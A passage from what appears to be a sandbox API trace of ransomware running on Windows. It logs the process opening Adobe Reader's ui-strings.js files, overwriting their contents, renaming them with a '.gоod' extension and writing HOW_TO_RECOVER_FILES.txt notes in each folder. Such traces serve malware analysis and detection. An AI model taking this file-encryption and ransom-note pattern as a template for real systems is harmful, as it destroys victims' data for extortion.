lpOldMode=0x1ffeba40) returned 1 [0184.474] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-ma\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-ma\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0184.474] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0184.474] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-ma\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\fr-ma\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0184.475] GetFileType (hFile=0x7f8) returned 0x1 [0184.475] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0184.475] GetFileType (hFile=0x7f8) returned 0x1 [0184.475] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0184.475] ReadFile (in: hFile=0x7f8, lpBuffer=0x36f1988, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x36f1988*, lpNumberOfBytesRead=0x1ffebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0184.477] CloseHandle (hObject=0x7f8) returned 1 [0184.477] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-ma\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-ma\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0184.477] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0184.477] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-ma\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\fr-ma\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0184.477] GetFileType (hFile=0x7f8) returned 0x1 [0184.477] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0184.477] GetFileType (hFile=0x7f8) returned 0x1 [0184.477] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x2084 [0184.477] WriteFile (in: hFile=0x7f8, lpBuffer=0x36f2d28*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x36f2d28*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0184.478] CloseHandle (hObject=0x7f8) returned 1 [0184.478] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-ma\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-ma\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0184.478] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0184.478] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-ma\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\fr-ma\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0184.479] GetFileType (hFile=0x7f8) returned 0x1 [0184.479] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0184.479] GetFileType (hFile=0x7f8) returned 0x1 [0184.479] ReadFile (in: hFile=0x7f8, lpBuffer=0x36f5080, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x36f5080*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0184.642] CloseHandle (hObject=0x7f8) returned 1 [0184.642] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-ma\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-ma\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0184.642] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0184.642] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-ma\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\fr-ma\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0184.642] GetFileType (hFile=0x7f8) returned 0x1 [0184.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0184.643] GetFileType (hFile=0x7f8) returned 0x1 [0184.643] WriteFile (in: hFile=0x7f8, lpBuffer=0x35e5f48*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x35e5f48*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0184.643] CloseHandle (hObject=0x7f8) returned 1 [0184.643] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-ma\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-ma\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0184.643] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-ma\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-ma\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7d [0184.643] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0184.643] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-ma\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\fr-ma\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x6a45a8c4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2094)) returned 1 [0184.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0184.643] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-ma\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\fr-ma\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-ma\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\fr-ma\\ui-strings.js.gоod")) returned 1 [0184.644] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-ma\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-ma\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x83 [0184.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0184.644] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-ma\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\fr-ma\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7f8 [0184.645] GetFileType (hFile=0x7f8) returned 0x1 [0184.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0184.645] GetFileType (hFile=0x7f8) returned 0x1 [0184.646] WriteFile (in: hFile=0x7f8, lpBuffer=0x3713918*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x3713918*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0184.647] CloseHandle (hObject=0x7f8) returned 1 [0184.647] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0184.647] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\he-il", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\he-il", lpFilePart=0x0) returned 0x6a [0184.647] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\he-il\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0184.647] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0184.647] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0184.647] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0184.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0184.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0184.648] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0184.648] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\he-il", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\he-il", lpFilePart=0x0) returned 0x6a [0184.648] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\he-il\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0184.648] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0184.648] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0184.648] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0184.648] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0184.648] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0184.648] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\he-il\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\he-il\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x83 [0184.648] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0184.648] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\he-il\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\he-il\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7f8 [0184.649] GetFileType (hFile=0x7f8) returned 0x1 [0184.649] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0184.649] GetFileType (hFile=0x7f8) returned 0x1 [0184.649] WriteFile (in: hFile=0x7f8, lpBuffer=0x37253f8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x37253f8*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0184.650] CloseHandle (hObject=0x7f8) returned 1 [0184.651] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0184.651] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hr-hr", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hr-hr", lpFilePart=0x0) returned 0x6a [0184.651] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hr-hr\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0184.651] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0184.651] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f33, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0184.651] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0184.651] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0184.652] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0184.652] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0184.652] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0184.652] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hr-hr", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hr-hr", lpFilePart=0x0) returned 0x6a [0184.652] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hr-hr\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0184.652] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0184.652] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f33, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0184.652] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f33, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0184.652] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0184.652] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0184.652] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0184.652] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hr-hr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hr-hr\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0184.653] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0184.653] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hr-hr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\hr-hr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3735060 | out: lpFileInformation=0x3735060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f33)) returned 1 [0184.653] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0184.653] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hr-hr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hr-hr\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0184.653] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0184.653] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hr-hr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\hr-hr\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0184.654] GetFileType (hFile=0x7f8) returned 0x1 [0184.654] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0184.654] GetFileType (hFile=0x7f8) returned 0x1 [0184.654] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: 